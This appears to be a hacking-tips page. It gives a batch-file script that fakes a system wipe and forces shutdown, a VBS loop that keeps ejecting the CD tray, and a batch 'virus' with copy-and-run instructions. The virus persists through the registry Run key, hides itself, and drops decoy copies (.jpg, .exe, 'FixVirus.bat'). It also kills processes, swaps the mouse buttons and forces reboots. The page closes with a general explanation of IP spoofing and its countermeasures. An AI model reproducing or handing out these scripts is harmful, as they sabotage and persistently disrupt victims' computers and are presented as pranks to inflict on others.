your computer has commited suicide.
write following these lines in notepad n save it .bat file .....n run it....
now see the fun
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!echo:
echo:
echo:
echo Deleting Root Partition...
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir h4x
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall...
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup...
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "Your computer has committed suicide. Have a nice day."

// Save the file with .vbs extension

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP


------------------------------------------------------------------------------------------
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

The term IP (Internet Protocol) address spoofing refers to the creation of IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system.

Why it works ?
IP-Spoofing works because trusted services only rely on network address based authentication. Since IP is easily duped, address forgery is not difficult.
The main reason is security weakness in the TCP protocol known as sequence number prediction.

How it works ?
To completely understand how ip spoofing can take place, one must examine the structure of the TCP/IP protocol suite. A basic understanding of these headers and network exchanges is crucial to the process.

Internet Protocol (IP) :
It is a network protocol operating at layer 3 (network) of the OSI model. It is a connectionless model, meaning there is no information regarding transaction state, which is used to route packets on a network. Additionally, there is no method in place to ensure that a packet is properly delivered to the destination.
Examining the IP header, we can see that the first 12 bytes (or the top 3 rows of the header) contain various information about the packet. The next 8 bytes (the next 2 rows), however, contains the source and destination IP addresses. Using one of several tools, an attacker can easily modify these addresses – specifically the “source address” field.

Transmission Control Protocol (TCP) :
It is the connection-oriented, reliable transport protocol in the TCP/IP suite. Connection-oriented simply means that the two hosts participating in a discussion must first establish a connection via the 3-way handshake (SYN-SYN/ACK-ACK). Reliability is provided by data sequencing and acknowledgement. TCP assigns sequence numbers to every segment and acknowledges any and all data segments recieved from the other end.


TCP sequence numbers can simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment. The acknowledgement number field in the TCP header holds the value of next *expected* sequence number, and also acknowledges *all* data up through this ACK number minus one.

TCP packets can be manipulated using several packet crafting softwares available on the internet.

The Attack
IP-spoofing consists of several steps. First, the target host is choosen. Next, a pattern of trust is discovered, along with a trusted host. The trusted host is then disabled, and the target's TCP sequence numbers are sampled. The trusted host is impersonated, the sequence numbers guessed, and a connection attempt is made to a service that only requires address-based authentication. If successful, the attacker executes a simple command to leave a backdoor.

Spoofing can be implemented by different ways as given below -

Non-Blind Spoofing :- This type of attack takes place when the attacker is on the same subnet as the victim. The sequence and acknowledgement numbers can be sniffed, eliminating the potential difficulty of calculating them accurately.

Blind Spoofing :- Here the sequence and acknowledgement numbers are unreachable. In order to circumvent this, several packets are sent to the target machine in order to sample sequence numbers.

Both types of spoofing are forms of a common security violation known as a Man In The Middle Attack. In these attacks, a malicious party intercepts a legitimate communication between two friendly parties. The malicious host then controls the flow of communication and can eliminate or alter the information sent by one of the original participants without the knowledge of either the original sender or the recipient. In this way, an attacker can fool a victim into disclosing confidential information by “spoofing” the identity of the original sender, who is presumably trusted by the recipient.

IP spoofing is almost always used in what is currently one of the most difficult attacks to defend against – Denial of Service attacks, or DoS.

CounterMeasures
1) Filtering at the Router :- Implementing ingress and egress filtering on your border routers is a great place to start your spoofing defense. You will need to implement an ACL (access control list)

2) Encryption and Authentication :- Implementing encryption and authentication will also reduce spoofing threats. Both of these features are included in Ipv6, which will eliminate current spoofing threats.

3) Initial Sequence Number Randomizing.